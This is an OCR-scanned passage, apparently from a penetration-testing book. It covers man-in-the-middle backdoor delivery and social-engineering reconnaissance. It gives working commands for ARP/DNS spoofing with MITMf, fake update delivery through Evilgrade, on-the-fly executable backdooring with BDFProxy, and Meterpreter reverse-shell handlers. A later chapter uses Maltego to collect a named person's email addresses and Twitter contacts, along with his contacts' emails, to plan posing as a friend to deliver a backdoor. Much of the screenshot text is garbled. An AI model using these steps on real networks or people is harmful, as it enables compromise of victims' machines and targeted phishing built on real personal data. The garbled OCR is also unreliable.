mitmf —-—-arp —--spoof —-—-gateway 10.0.2.1 --target 10.0.2.5 -i etho —--dns

Hit Enter and you're done! The DNS spoofing is complete. Now that Evilgrade is running,
our backdoor can be downloaded and executed from update. speedbit.com:
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:~# mitmf --arp --spoof --gateway 10.8.2.1 --target 10.0.2.5 -i eth® --dns

[#]1 MITMT v

Spoof

ding)
already in use
HTTP se - online

* Environment: production

T

F Hunning http://12/.0.9.1:9999/ (Press CIRL+C To quit)

DNSChef vA_.4 online
SMB server online

To listen for connections, change the options on the msfconsole Terminal by using the
exploit/multi/handler module, setting the payload to
windows/meterpreter/reverse_http, setting LHOST to 10.0.2. 15, which is our Kali
machine IP, and LPORT to 8080, as shown in the following screenshot:

exploit( ) > show options

Module options ( loit/multi/handler):

Name Current

Payload options (windows/meterpreter/re se_http):

Name

EXITFUNC

LHOST
LPORT
I URT

Current Setting Required Description

hnique (Accepted: '', seh, thread, proc
yes Ll ner hostname
yes The local 1 - port
no The HTTP Path
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To reiterate, the target program is going to check for updates using
update. speedbit .com, which will redirect to the IP address where Evilgrade is running
thanks to MITMf.

We now need to check for DAP updates on the target computer, which, in our case, is a
Windows machine; a dialog should tell us that a Critical update is required when we try to
update the DAP application, as shown in the following screenshot:

U DAP Update = *

Update search results

Description Version Size
9732.2996.0.9 | 2.78 MB

Product description:

This critical update fix internal vulnerability

< Back | Net > | Cancel |

Once the update has been downloaded and installed, running the sysinfo command on
the Meterpreter Terminal session on our Kali machine, we should confirm that we have
control over the target computer by running the sysinfo command, as shown in the
following screenshot:

ploit

er on http
gr
(10.0

meterpreter > info
Computer MSEDGEWIN1®
5 : Windows 10 (Build 17134)
nu
WORKGROUP
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Client-side attacks using the bdm?2
BDFProxy

In this section, we're going to look at another backdoor delivery method: running our
backdoor via an active download. In other words, a user will download and install a
program that will run as expected, but with our payload, or backdoor, running in the
background. This is possible using a tool called Backdoor Factory Proxy. This also requires
a man-in-the-middle access method, such as ARP poisoning.

For this example, we'll go with ARP poisoning so that all traffic will be redirected through
our own computer. First, we need to modify the configuration of the bdfproxy.cfg file
with the following command:

leafpad /etc/bdfproxy/bdfproxy.cfg

We will now do two things. First, set the proxyMode parameter to transparent, as shown
in the following screenshot:

[[Overall]
roxyMode = transparent| # Modes: regular or None (for libmproxy < 13), socks5, transparent, reverse, upstream
MaxSizeFileReguested = 100000000 # will send a 502 request of large content to the client (server error)
certlocation = ~/.mitmproxy/mitmproxy-ca.pem
proxyPort = BOBO
sslports 443, 8443
loglevel = INFO
logname = proxy.log
resourceScriptFile = bdfproxy msf_resource.rc

Second, change the HOST parameter to your Kali machine's IP address, as shown in the
following screenshot:

[[[WindowsIntelx64]1]1]

PATCH_TYPE = APPEND #1UMP/STNGLE/APPEND

# PATCH_METHOD overwrites PATCH_TYPE, use automatic or onionduke
PATCH METHOD = automatic

fHosT ="16.6.2.75]

PORT = 8088

# SHELL for use with automatic PATCH METHOD

SHELL = iat reverse_tcp stager_threaded

# SUPPLTED_SHELLCODE for use with a user_supplied_shellcode payload
SUPPLIED SHELLCODE = None

ZERO_CERT = True

PATCH DLL = True

# PUT Import Directory Table in a Cave vs a new section (Experimental)
IDT IN CAVE = False
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The proxy, which works across all operating systems, uses an executable download that
will also contain the backdoor. For it to work, all we need to do is set our IP address,
10.0.2.15, and then start the proxy by typing bdfproxy and hitting Enter, as shown in
the following screenshot:

script.
en to bdf sf resource.rc

fic forw g

bdfproxy_msf_resource.rc is a file that we can use to listen for incoming connections.
First, we need to ensure the proxy is running on port 8080, and that anything that comes
from port 80 is redirected to 8080. This is done using the following command:

iptables -t nat —-A PREROUTING -p tcp —-destination-port 80 -j REDIRECT --
to-port 8080

To perform basic ARP poisoning, we need to run MITMf and use the basic
command, mitmf --arp --spoof, which should include the —-gateway, our ——target,
and our interface -1, as follows:

mitmf —--arp —-—-spoof —-—-gateway 10.0.2.1 --target 10.0.2.5 -i ethO

After hitting Enter, all we need to do is listen for incoming connections using Backdoor
Factory Proxy's resource file, using the following command:

msfconsole -r /root/bdfproxy msf_resource.rc

After hitting Enter, all we have to do is wait for that to load all the possible payloads that
can be used. So, now let's analyze it quickly. The target person is going to download a
program that they actually want, we are the man-in-the-middle and, because we're doing
ARP poisoning, everything is going to be flowing through our device. We have Backdoor
Factory Proxy running, so whenever an executable is downloaded, Backdoor Factory Proxy
is going to backdoor that executable on the fly; therefore, when the target person runs it,
they will get the program that they're expecting, but, at the same time, our backdoor is
going to run in the background and we're going to get a shell because we're listening for
ports.
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So, we are going to go to our target look for DAP, the same program that we hijacked, and
we are going to download it from their official website. We are then going to go to their free
download, and then save the file. And, just before we download it, if we look at the
Terminal as shown in the following screenshot, we can see that the file has been patched in
here by the Backdoor Factory Proxy:

Once we have downloaded DAP's update, we will go to Downloads and run the file. It will
look like a normal installer, but if we return to Meterpreter, we can see that the download
has secured a connection from the target computer that can be interacted with using

the sessions —-i 1, as shown in the following screenshot:

msf o ] =
[*] S5tarting interaction wi

meterpretel

Running the sysinfo command will confirm that we are inside the Windows machine, and
have full control of it thanks to our backdoor running in the background.

Protection against delivery methods

In this section, we're going to explore how to protect yourself from delivery methods. To
prevent a man-in-the-middle attack, use tools such as XArp, or static ARP tables, and avoid
networks you don't know or trust. Another precaution is to ensure you're using HTTPS
when downloading updates. This will reduce your risk of downloading a fake update.
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Another tool that is useful is WinMD5. This program will alert you when a file's signature
or checksum has been modified in any way, which indicates that a file may have been
tampered with, or is not the original file. To check, download and run WinMD5, where you
can compare signatures and checksums for a file. If the values are the same, the file is safe,
as shown in the following screenshot:

L N ] MSEdge - Win10TH2 [Running]
WindAD5 Free - Windows MDG. % | 4 o *
& winmdS.com a2 1 winmd5 B + R & 0 =
L LI S T LA GO IS T U T VST D L (s =

= Supports big files Iar:ler than 4 GB
o Law resous E

# Don't requare | r.Jnt me installed. It is & standalone EXE file and the startup is speady, There are MDS tools for Windows on the market, but most of them requires

MET runtime and they may take a few seconds to start. This is also the reason I wrote the program.

» Supports "Drag & Drop”. You may either select a Rle, or drag and drop a file te the program wndew ta get the MD3 hash valse,
* Supports venfication nginal MDS value and current MDS value,
.
.

Mast imoartant, it i - Mo spyware or adware bundle. | &gy WonhADSFree v1.20 — *
Small sixe, an efedtn 1 by boal Tor data securdy.

| Select 2 Nile bo cormpute MD3 checksum (o drag and drog a Nile ente this vindow)
Download (only 249KB): <
-\ Users| [EUzer Downloads\winmd | | Browse. e
| MinMDS Froeware Downboad [
L [ENeU
| WinMOsEree.zip MO F3f18800b60abbdabBb03acdd2 24958
S 1
| e e M e s e File Mame and Size: - C\Users\FLser\ Dovnloads\winmdSdree.sip (263375 bytes)
You may simply dewnload i, then unzip and put Bhe cxe Lo any Folder ||r~}ll] Curnent file MD5 checisum value i contain ary
re, ad I
YIS, ERHNETE, SAWarS o malware. [73£a8840bE0abGtn febO3ncas22 d5ee
License Agreement: E
Original file MD5 checksum value joptional). it usually can be found frem website or .md3 fi
You are granted unbmited rights to distribute W|n|'-1|:| Free, but not Bmited b [ ST B ETLETT : ot of any
commercal package, wsed o a commeroal e sed o distnbuted| [P27=" T2 original mid valoe to verify Yty proft generating F
activity, even if it 15 being distributed freely, All fles m emain inkact and y o}
| = = n
Wihsit About Exit
Disclaimer of Warranty o =
THIS SOFTWARE AND THE ACCOMPANYIN S ARE PROVIDED "AS IS5 AND WITHOUT WARRANTIES AS TO PERFORMANCE OR MERCHANTABILITY OR ANY OTHER WARRANTIES L
WHETHER EXPRESSED OR IMPLIED. B the vanous hardware and software enaronmaents mte which WenMDSFres may be put, NO WARRANTY OF FITHESS FOR A s
PARTICULAR PURPOSE IS OHFERED. arg
e
-
MD3 Algonthm |[MD5 Software for other platforms
(s
I}
(C}Copynght WeMDS, com 1999-2009, Al nghts resenved. "

~ ] dy

MD5 checksum value generated
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Summary

This chapter focused on client-side attacks. First, we installed a tool called Veil, which we
use to exploit backdoors, through which we can gain access to a user's system. We then
looked at payloads, before generating our own and testing it against antivirus programs.
We also learned how to create a backdoor Meterpreter that was used to control a target
computer without being detected by antivirus software. We concluded by looking at
delivery methods, as well as how to protect systems from such attacks.The next chapter we
are going to focus on using the social engineering to launch attacks on the client
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Client-Side Attacks - Social
Engineering

This chapter focuses on client-side attacks, where the victim's action will allow us to gain
access to their system, which is where the social engineering concept is going to be useful to
help us to launch an attack. We are going to look at a tool called Maltego, which is a very
powerful tool for gathering information, but we will just look at it's basic applications in
this chapter. Then, we are going to search all the possible social links that are related to our
target; we will be using the Maltego tool for this, too. Following that, we are going to target
the victim via their Twitter and email contacts. As we move ahead, we will be using the
backdoor file. Then, we will generate an icon for the file — it looks more like an ordinary
image, but it is a backdoor in disguise so that we can get access to the system. We will also
learn how to change the extensions of the files that can be sent to the target. Finally, we will
perform email spoofing, which means we will send emails to the victim via a valid email
ID.

This chapter covers the following topics:

e Client-side attacks using social engineering

Maltego overview

Social engineering — linking accounts

Social engineering — Twitter

Social engineering — emails

Social engineering — summary



Client-Side Attacks - Social Engineering Chapter 13

e Downloading and executing Autolt

¢ Changing the icon and compiling the payload
¢ Changing extensions

e Client-side attacks — TDM email spoofing

Client-side attacks using social engineering

So far, we've seen really good methods in client-side attacks. These methods were good
because we didn't really need to ask the client to do anything. We would gain access to the
target computer if the client updated their system, or, if they downloaded something, then
we'd backdoor it on the fly. These methods are really good because we don't actually need
to do something, so the target has to do an action, but we don't need to ask them to do
something. The only problem with these methods is that we need to be the man in the
middle, we either need to do the ARP poisoning, we need to start our own fake access
point, or we need to do something to become the man in the middle.

In the next sections, we're going to talk about a method we can use if we aren't the man in
the middle, if the person exists in a remote place where it's not possible for us to become the
man in the middle. Here, we're going to be talking about social engineering. Social
engineering is a vast concept; there are so many attacks that we can do because it all
depends on the target. Sometimes, we don't even need any technical information to do
these kinds of attacks, so it all depends on our target and how we are going to build a
strategy to attack that target. We are going to be gathering information in order to get
access to victims' systems. We need to gather as much information as we can about our
target, about what websites they use, who their friends are, and so on; anything, any piece
of information, can become really useful to us in social engineering.

We will first be looking at how to gather information about a specific person. So, all we
have is just a name, or a Facebook account, and any information we can gather based on
that name. After that, we're going to start building a strategy, and we'll see how we can use
all the information that we gathered to build a strategy in order to build an attack and gain
access to the target computer system, and, at the end, we're going to create our backdoor.
We're going to make a backdoor that's acceptable to the target user, so they'll probably use
it, and we'll also see how we can pretend to be one of their friends and get the target person
to run the backdoor. We are actually going to be asking them to run a specific file, instead
of the methods that we've seen so far where the user voluntarily updates their system or
downloads a certain executable.
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Maltego overview

In this section, we'll look at a tool that we're going to be using often in this chapter. This
tool is great for information gathering and it allows us to gather information about almost
anything, we can gather information about people, websites, computers, companies, phone
numbers, everything really; everything we can think of, we can add to this tool and try to
extract information related to that entity. The tool is called Maltego, and it's going to
become our best friend when it comes to information gathering. This tool can be used to
gather information about anything, but using the tool is the same, so it doesn't matter
whether our target is a website, a person, a phone number, or a company. Only the
information that we will be getting is going to be different. In this section, we're going to
have a quick overview of this tool, and then we're going to be using it more in the following

sections.

In order to run the tool, just go to Show Applications, then type maltego in the search bar,
and we can see that a tool called maltego appears:

Q  malteqo|

maltego
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The first time the tool is used, we will be asked to log in with a username and a password;
if we don't have one, we will have to register through the wizard. We just have to create a
new username and new password, they'll send us an activation link, and then we'll be able
to log in and use the tool. Once we log in, it will offer us one of the already made templates
for gathering information. We are not going to use any of those. In the following
screenshot, we can see the home page, and from here we can add more transformers to the
tool:

Maltego Community Edition 4.1.0

il Investipate  View  Entities  Collections Machines Impaort | Export  Windows

i

% Find in Entity
Files Selection

Transform Hub
l,-l,-lpﬂ TE(—rl_] * Refresh Transform Hub 15 Update Transforms

PATERVA CTAS CE
Paterva
I Standard Paterva Transforms

KaliLinux Edition FREE

CaseFile Entities Clsco Threat Grid

Paterva Cisco Threst Grid

Additional entities from CaseFile . Query Threat Grid's database of th
blitkars youkube

Kaspersky Lab Shodan
n = e Kaspersky Lab Andrew@Paterva
U pcoming Public Trainin g K Query Kaspersky Threat Intefligenc Query Shodan data from within Ma

ZETAlytlcs Massive Passl... ¥ Hybrid-Analysis
ZETAlytics 4 Hybrid Analysis
Pivats include billians of records fo This set of transforms are based

VirusTotal Public API ThreatMiner
Malformity Labs g5 ThreatMiner

blgt?:k 'Lat

AUGUST 4-9, 201 Query the VirusTotal Puldic API Query and pivot on data from Thre

P P D

PassiveTotal Bitcoin
PassiveTotal Paterve
Query PasshveTatal source and ac Far visunlzing the Biteain blockehain

SoclalLinks CE The Mevie Data..

SochlLinks Uses the TMDE to Install
Sociallinks CE search and pivat an
w rovies, talent and Details

r
HITR NQEM QINCADNRE havelbeenpwned People Mon

Basically, transformers are plugins that allow us to gather information about specific things.
We can just click on Install on any of available options that we can see in the screenshot
and it will add more transformers or more things that we can do with Maltego. A lot of
these extra transformers will ask us to log in with a username and a password or use a
certain APL
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For now, we're just going to use the built-in transformers, and we are going to go to the
entity selection menu on the menu bar to create a new graph and open a principle
workplace for Maltego:

e o 2

Investigate WView Entities Collections

As we can see in the following screenshot, in the middle we have our graph, where we are
going to be seeing our entities and information about entities:

| e B o
Investigate  View  Entities  Collections  Transforms

IT‘- Sy (4 Pw | B1Runview
4 o @

Transform Transform  New Local Manage
L Manager Transform. Services

Maltego Community Edition 4.1.0

Machines  Collaburation  Import | Expert  Windows

Entity Palette New Gragh (1]

+ Infrastructure

+ Locations

+ Malwere

+ Penetration Testing
+ Personal

+ Devices

+ Soclal Network

Property View H

all w " fnd [].. []Notes [ ] Display info *

In the Overview tab, we have an overview of the graph, in Detailed View, we have details
about each entity in the graph, and in the Property View tab in the bottom right corner, we
will be able to change the properties for each of these entities. All these tabs are empty now,
but once we start using the tool, it'll start making sense straightaway. In the top left corner,
we have our entities in the Entity Palette tab, where they are organized into categories
depending on the type of entity.
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For example, if we click on Infrastructure, it will allow us to add a domain name; we can

add MX records, URLs, or a website:

Entity Palette

Search:

— Infrastructure
AS

An internet Autonomous 5

Banner
Banner

DNS Name

Domain Name

Domain
An internet

IPv4 Address

An IP ve

MX Record
A DNS mail

NS Record

A DNS name s

Netblock

A range of IP v

URL

An internet Uniform R

Tracking Code
Represents a trac

Website

An internet
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We can just drag and drop the entity that we want; for example, if we want a website, just
drag and drop the Website entity in the graph editor window and now we have a website
in the graph. From here, we can start gathering information about the website:

Mew Graph (1) X

[,

WWW.FJEItEI"u'EI.CGm
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There are a lot of different types of entities. We can also add a device from Entity Palette.

For example, if we go to Personal, we can actually just add a Person entity, give their first
and last names, and then we will be able to gather information about this person. We can

also add a phone number and start gathering information about it:

New Graph (1) X

A

Fr::z: . John Doe

Www

www.paterva.com
— |
— 1

Find: All v [find | [ []Netes [] bisplayin X
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One of the really amazing categories here is socialLinks, which will allow us to add

Facebook entities, while also allowing us to add GitHub, Foursquare, LinkedIn,

Instagram, and other social networks:

Once we add them, we will be able to gather information about these entities, and

Devices
Devi

+ Infrastructure
+ Locatlons
+ LevelyPanies
+ Mailtego
+ Malware
+ Penetration Testing
+ Personal
Soclal Metwark
Spatify
sociallinks

& Company

. Facebook Graph Search
[N 7

Facebook

Foursguans
Glthub

Glthub Repositony
Instagram

College

Linkedin Company

in Linkedin

obviously this information will really help us when it comes to trying to exploit that person

and hack into their system.
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Once we add the entity, as we can see in the following screenshot, if we click on the
website, for example, we are just going to go to the Property View tab and we can see that
we can modify the properties for the selected website. Suppose, for example, the first thing
that we need to change is to put the name of our target website in the Website parameter:

Property View

— Properties
Type

Website paterva.com

Enabled

Once we do that, we can right-click the website entity on the graph and select what type of
information we want to gather. In the following screenshot, we can see all the possible
options:

+ Convert to Domain
+ Links in and out of site

+ Resolve to IP

We are not going to run any transformers in this section; we're going to do this in the next
sections. For now, we are just showing us a quick overview of the tool, how to add entities,
how to run transformers, and what we mean by all of these things. A lot of this is still a bit
vague, but we're going to be using this tool a lot in this chapter, and it's going to become
very easy for us. As we know, we can use it to gather information about anything, and it's
really going to enhance our social engineering skills.
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Social engineering - linking accounts

In this section, we will learn how to target a person. We are going to start with just a
person's name, and then see how we can gather information about that person and build up
an attack strategy. As we do that, we're also going to look at more of Maltego's features and
how to configure a few more settings. So, we are going to start a new graph by clicking on
the plus sign, as shown in the following screenshot:

i o 2

Investigate View Entities Collections

Inside the Entity Palette, search for a Person entity under the Personal section, and then
drag and drop the Person entity to the workspace. We are going to assume that we have a
target and we know their name, so the first name is zaid and the surname is Sabih. We're
going to go to the Property View tab and set the First Names property; just double-click it.
We are going to set it to zaid, and then we are going to set the Surname property to Sabih,
as shown in the following screenshot:

4 Hub Transform Inputs

Zaid Sahih

First Names
surname

— Graph info

[294 ]



Client-Side Attacks - Social Engineering Chapter 13

Now, let's see what information can we gather about the entity created. Again, all we have
to do is right-click the entity and see what we can get. So, we click on the PATERVA CTAS
category, and we are going to go to All Transforms; we can get associated emails, we can
try to get a phone number, and we can try to get a Twitter account; we can try all of these.
For now, we are going to try to get a website, or websites, for this person:

Zaig
To Email Address [Verify common]
To Email Addresses [PGP]

To EmailAddress [Bing]

4"1
2
3
z
3
n

To Person [PGP (signed)]
To PhoneNumber [Bing]
To Twitter Affiliation [Search Twitter]

To Twitter Affiliation [Strict]

To Website [Bing]

@A OBX==OC

Now, it will ask us whether we want to look for a specific domain name. We are going to
assume that we know nothing, so we are just going to put a space between two websites, in
both entries. That just means looking for any websites that are associated with this person:

Required inputs b4
The following transforms require inputs:
— To Website [Bing]

Domain/TLD (space=none)

Additional term (space=none)

[ ] Remember these settings
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After clicking Run!, we should get a number of websites, and all of the websites are
associated with Zaid Sabih:

1!"‘
Zaid Sahbih
Fa .'.' Y Sy
_-'" H .
- F ¥ Ty
‘_f |I 3 i .
r & ]
e : : 'I 'I [ o
‘_x" b, [ \ .,
o ¥ ¥ i Y
s ‘ ¥ o a
Ay
]
www. facebook. comy’ e sde T om qragkskifis. com onlinecoursespro.com
e ¥ L | 4
udemycowpondicauntsglobal. com  acadermy.ebgckeng, nat www Binkeedinu cam whale. COurgEharo, Lom
F L) v
]
W '_-.':lth'..lb'-':' cam W, QiCE, Com www, Coursaball. com

Association websites
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Now, that doesn't really mean that these websites are actually associated with our target,
because there could be another person named Zaid Sabih, so we will have to go to each one
and see which are actually related to that person. For example, we will double-click on the
Facebook website to see the associated information. In Properties, we will see that we have
the Facebook URLs that are associated with that particular name:

Dt ails

SLETIMATY Attachments (0) Hotes Properties (4

Webszite www_facebook com

551 Enabled | |

Parts 80 [ =]

URLs sk comfpublic/Sabeh-Z aed Sabsh 2asd Profiles | Facebook https: /fwww facebook comfsabih zaid Sabik 2aid | Facebook

URLS associated with the target

We can even copy the URL to a text file to read it better, and we can see in the following
screenshot that we have three profiles:

File Edit Search Options Help

https://wwe. facebook.com/zaid.sabih.7 Zald Sabih |
Facebook https://www.facebook.com/public/Sabih-Zaid Sabih Zaid Profiles |
Facebook https://www.Tacebook.com/sabih.zald Sabih Zaid | Facebook

Now, in a real-life situation, we should go into each of these profiles and see which one is
actually related to our person. In this example, we are not going to do that because three of
them are actually not related to Zaid at all, so this is really not useful. In this case, we will
just come back, move to the next entity, and see what's useful.

It is highly recommended to delete the ones that are not useful because
they'll just make it harder to look through things. Just click it, press
Delete, and that will delete it for us.
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For our example, it's all related to our target. We can double-click each one of them, go

to Properties, look for the URL, and open it in our browser. When we do that, we will get
the information related to that person, and it will help us to form some sort of an attack
strategy, or help us to get even more information. For now, because we have already
looked at all of them, we are going to focus on one of them, which is the Udemy link, that
is, the information related to our target on Udemy. We are going to double-click as we did
before, go to Properties, get a URL, copy that URL, and open it in our browser. We can see
that the URL is related to our target person, and we can see that it's leading us to a course
taught by our target. Although this information is not really useful, we can now see that the
target person is teaching online courses:

‘tﬂ, Udemy i Categories Search for Courses Q Become an Instructor MyCourses 2 7 QL (mS '

IT & Software > MNeww

Gift Thi

Learn Network Hacking From Scratch (WiFi
& Wired)

Learn how to hack both WiFi and wired networks like black hat hackers, and
learn how to secure them from these attacks.
ko 46

Created by 2 Le ] Free preview

Go back and look at the other two URLs. If we browse the second URL, we can see it is
showing us the profile for the target person:

rd
M Udemy 22 Categories search for Courses Q Become an Instructer myceurses C2 g L4 [ NS )

Zaid Sabih

Ethical Hacker, Pentester & Computer Scientist

My name is Zaid Al-Quraishi, | am an ethical hacker, a computer scientist, and the founder and CTO of
z5ecurity. | just love hacking and breaking the rules, but don't get me wrong as | sald | am an ethical
hacker. | studied computer science in University College Dublin, | graduated in may 2016,

have a very good experience in ethical hacking, | started making video tutorials back in 2009 in an
ethical hacking community (iSecurilty), | als

started teaching my first course online in

ster for the same company. In 20131
rse received amazing feedback which

motivated me to create an English version of this course,

The english course became the most popular and the top paid course in Udemy for almost a year, this
motivated me to make more courses on ethical hacking, now | have a number of courses on ethical
hacking and more than 200,000 students on Udemy and other teaching platforms such as StackSocial,
StackSkills and zSecurity.
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By browsing the URL, we can gather information about the person. We can check all the
websites to gather more information about them. Now, we need to keep in mind that we
are setting our target—which is me, a person with knowledge of computers and
information technology. When we are targeting normal companies or normal people, it will
be easier to get effective information. If we look at their YouTube, LinkedIn, and Facebook
profiles, we really won't get much. Even if we click on their Facebook profile, we will see
that Facebook won't lead us to anything, we need to log in, and even after logging in, we
won't get too much useful information. What's useful is if we go to their blog and go to the
ABOUT section; what's useful here is that we have the email address of the target person,
and we have their Twitter account:

Aboul

Zaid Sabih

ETHICAL HACKER, PENTESTER & COMPUTER SCIENTIST

My name is Zaid Al-Quraishi , | am an ethical hacker, pentester and a computer scientist. | just love
hacking and breaking the rules, but don't get me wrong as | said | am an ethical hacker,
| have a very good experence in Hacking / Penetration Testing... | also love programming, | can program

in many programming languages but python is still my favourite

Other programming languages that i know : Java, Swift, Ruby,c and a bit of php

This information was not included on Udemy, and now we have two really useful pieces of
information. In the next section, we'll see how we can use this information to gather even
more info about our target, and hopefully be able to build up an attack strategy.

Social engineering — Twitter

So now we have the email address of our target person and their Twitter account. Let's start
with Twitter and see what we can get from that. Open the Twitter account for the target
person, copy the link, and we're going to come to our workspace, Maltego to add a Twitter
entity. We're going to add a Twitter entity from the Social Network category. Maltego has
an entity for Twitter, it's just not being shown so, let's see how to access these settings.
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Go to Entities | Manage Entities, and we can see a list of entities that we can add:

Entity Manager

Display name
0 «fiaen
affiliston - Pacebook
wa Affiliatson - Flickr
-ﬂ- Aflilisteon - Tentled
© albumn
o, Alias
Artiad
AS
Builtwith Technalagy
Curcular Area
College
Company
Deice
OS5 Name
Dacument
Dormain
{0 Email Address
= EMad Message

Facebaok

i Facebook Bvent

Description

Mambearahip of a gacial retwark

Memibership of the Facebook social nebeork
Memberghip of the Flickr social neteork
Memberghip of Twilter

Musical Album

An akas far @ person

Mussical Artist

An internet Autonomous Systern (A5)

& Technology sdentified by Builtwith

A girgular area domewhere an Earth

A dewoe such A8 4 phone oF carmera
Domain Mame Systern server name

A dogurmant an the Intermet

An internel dormain

an gmiad mailbox to which emal messages
Emad raturned from Mailtego

Fersan

Entity list

-
LTS
LTS
e ¥,
i
waw
TS
mam N,
ma
TP
L,
S,
e
N
a5,
CTT
N
a5
e
(T

All of these entities are not added to the Entity Palette; the one we are interested in right

now is Affiliation - Twitter, the membership of the Twitter social network.
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Now, click on the three little dots that appear on the right, it will open a window, as seen in
the following screenshot. We are going to go to Advanced Settings, check the box that says
Palette item, click on OK, and close the window:

Eclit Entity - Affiliation - Twitter

Basic Information Addgianal Properties Display Settings Advanced Settings

Miscellaneous

Plural display name Afilisbons - Twitter
Palette item

Text Conversion

UsE fEges canvernter ] iThe chpboard contents must change for these changes to take effect)
Conversion order

Regular expression

Group te property mapping  Growp Propesty

Sliee

Edit Entity

Now, the Twitter entity should be showing up in the Entity Palette. So again, we are going
to use this as a normal entity. Just drag and drop it, we are going to set the name of it in the
Properties section, which is going to be zaid, we're going to put the URL in the Profile
URL tab, and our user ID is zaid_alq:
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roperty Vie pedd Hub Transform Inp...
= Properties

Typi
M arme

Hebwork

rlead Marme

= Graph Infe

Entity Palette

Now, we can gather information about the target person based on their Twitter account.
Right-click the entity and let's see what we can get:

To Alias

To Person [Camvert]

To Tweels [That this perdon wiote)
To Tweets [Written to this person]

To Twitter AFflliation [This person recleved Tweets from 7]

To Twitter Alfiliation [This perion wrote Tweels to 7]

To Twitter details [from Twitter number or screen name]
To Twitter follawers
To Twitter friends

To User Lists [That this person owns]

Information about the target

So we can get their tweets, we can see the tweets that they sent to people, we can transfer
this, we can get more details, and we can get their followers.
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What we really want to get is their friends so that we can actually target them through their
friends. So again, click on the Run button in front of the To Twitter friends option. This
particular transformer requires us to log into Twitter. As we can see in the following
screenshot, Maltego is telling that us we have to log into Twitter to be able to gather
information about the target person:

sendce Manager

Why signin?

Some transforms use public APis to get their results These public APls sometimes have strict rate imas to prevent
abuse. Signang in to these services with your ewmn account allows for the rate bmits to be spplied per user instead of
having the same rate limds shased between everyone uling these transforms,

Ta sign in...

1. Chek on one of the 'Sign In® buttons below.

2, A page will open in your default browser

3, Follow the prompts to sign in G any).

4, after successfully sigreng in you can close the browser tab and return here.

Service Description

W | Twitter (Paterval Sign in to Twitter by authenticating against the Paterva Twater app Kign in

Information log

In the preceding screenshot, click on Sign In, and log in with a username and a password.
Now it's asking us whether we want to authorize this app. We are going to click on
Authorize app:

Authorize
MaltegolntegrationApplication to

use your account?
MaltegolntegrationApplication

Authorize app Cancel

& application will be able t
* Read Tweets from your fimafne.
» Sea who you follow.

Will not be able 1o

Authorize App
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Now, we should be logged into Maltego, go back to Maltego, and when we come back to
the tool, close the sign-in window and it should start to look for friends on the target
Twitter account. As we can see, we managed to get the people who are friends with Zaid,
and we can see some really interesting information:

QL‘"
Zaid
.t
I \,
I L d 4 A
\ [] \ *
. J !
DarkRead ng i f Enplont Dajdbasea Offerisive I‘:--'."-Cl-'-':-' k! Help Net ‘:-l':“l'-ul-'l:..-
F [ L4 b |
Hacking Expogad Ehacking Securlty LEM) paagadlace
F L
[
o
L
Mohammad Askar Mustafa Albazy

Victims connections on Twitter
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Websites are not very useful. We can pretend to be a person from one of these websites and
there is a high chance that Zaid will respond to it, but it's not as good as using their
contacts. So delete these websites, and now we can see that Zaid has three friends, and we
can use all of them. Right-click on them to ascertain more information about them:

o.

W
ﬂ !
L)

LAl paagallias
Mohammad Askar Mustafa ADazy e

Detail information about the connections

In the next section, we'll go back to where we were. So, we have gathered information
about the Twitter account and now we'll see how to gather information about the email of
the same Twitter person.
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Social engineering — emails

OK, now let's see what can we get using the email of the target person, which

is zaid@isecurlty.org. In Maltego (and we are going to add a new entity of an email
address), go to Personal | Email Address, drag and drop it into the graph, and set Email
Address to zaid@isecurlty.org from Properties, as can be seen in the following

screenshot:

Property View
= Properties

T?ﬁr
Ernail Address

— Graph infa

Properties

We managed to get an email address from the target's blog. Using the email, we're now
going to see what information we can get.

Right-click the entity as usual and we will see a list of Run Transform(s). For our example,
click on To Domain [DNS] and click the Run button:

¥

To Domain [DHS]

To Email Addresses [PGP (signed)]

To Email Addresses [PGP]

To Emall Addresses [using Search Enginel

To Flicks Accawnt

SULIDJSUR. | I

To Myspace Accouwnt
To Person [Parse separatar]

To Persan IPGF]

To Phane number [using Search Enginel

Run Transforms list
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We can see that we got a domain name, which is isecurlty.org. From the following
website, we are going to try to get the email addresses associated with the website:

."I...- 1 ‘.\.
@,

zald@isecurity.org
R "y

S

L 4

O

Isecurlty. org

Domain name

Right-click on the website, click on Email addresses from domain, and click on the Run All

button to run all the transformers that will get the email addresses associated with the
domain:

All Transforms

DNS fram Domain

Domaln awner detall

Email addresses from Damain

Files and Documents frem Damain

}g"lu'ﬂiamt{lc

Run Transforms
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We have m. askar@isecurlty.org, which is the same person we found on the target's
Twitter account:

curlty.org@pratect addomainser i, Ak e S E Lr L [y,

Connections on twitter

Another thing that we can do from the domain is transfer to a website, right-click on the
website, and click on To Website [Quick lookup]:

T LR L R e LD ey

¥

To Emall address [From whols Infal

Ta Email addresses [PGP]

To Emall addresses [using Search Engine]
Te Emalls gdomaln [using Search Enginel

Ta Entities fram whais [Alebhery]

SLULIOJSUR ] IY

Te Piles (interesting) [using Search Engine]

Ta Files (Office) [using Search Engine]

Ta Person [PGF]

To Phone numbers [From whois info]

Ta Phone Humbers [using Search Enginel
Te Website [Quick loakup]

To Website [using Search Engine]

To Website DHN5S [using Search Enginel

Transfer to website option
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The following is the website:

¥
m.askar@msecurlby.org wivw. isecurl by.org

Websites associated with the target

From the website, we're going to look for email addresses associated with it, right-click on
the website, click on Mirror: Email addresses found, and then click Run:

Mimren Emall addresses found

Mirrarn External links found

To DNS Name [Enumerste hostname numerically]

To DNSHame [Converts website to DNS HName entiiy]
Ta Domains [DNS)

To IP Address [DNS]

To Server Technologies [Using Bulltwith]

Ta Tracking Cades

To URLs [show Search Engine results]
Ta Web site [Query part Ba]

To Website [Incoming links to site]
To Website [Replace with tumbnail]

To Website tithe

ARIFXE=EC

Extracting Email-ids of connections
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Once complete, we get two useless emails, so we are going to delete these two, leaving us
with two good ones:

mustala@albazy. com

Email-ids of connections

So we have mustafa@albazy.com, which is the same person that we found on Twitter,
and we have info@isecurlty.org. Now again, we can just keep gathering more
information about our target. We have enough information to start building up an attack
strategy on the target person. In the next section, we'll discuss all the info that we gathered
and we'll come up with ideas on how we can attack this person and hack into their system
or into their accounts.

Social engineering — summary

In this section, let's see how we can build up an attack strategy against our target, which is
a person named Zaid. Before we move ahead, we will organize the workspace so that we
can come up with ideas. For our example, we are going to keep only the useful information
such as Udemy. We are going to put Zaid, who is our main entity, at the top, and then just
click and drag an arrow from the email address so that we know that Zaid is associated
with the zaid@isecurilty.org address. Zaid is associated with

the zaid@isecurlty.org email, whichled us to isecurity.org. And then we're going
to add another arrow from Zaid to his Twitter account, so that we know that this Twitter
account is associated with this person, and we have an entity here of Udemy. We also know
